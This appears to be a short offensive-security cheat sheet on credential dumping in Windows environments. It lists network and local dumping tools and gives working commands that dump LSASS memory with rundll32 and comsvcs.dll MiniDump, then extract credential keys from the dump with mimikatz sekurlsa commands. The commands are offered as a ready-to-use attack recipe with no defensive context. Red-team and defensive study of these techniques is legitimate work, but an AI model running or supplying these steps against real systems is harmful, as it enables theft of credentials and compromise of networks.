Credential Dumping

dumping over network

• secretsdump
• mimikatz
• donpapi
• lsassy
• adcsync
• dploot]

local dumping

• lazagne
• mimikatz

with MiniDump

PS> tasklist /FI "IMAGENAME eq lsass.exe"
PS> rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 708 C:\Users\Public\lsass.dmp full

and to load it with mimikatz:

sekurlsa::minidump C:\AD\Tools\lsass.DMP
privilege::debug
sekurlsa::keys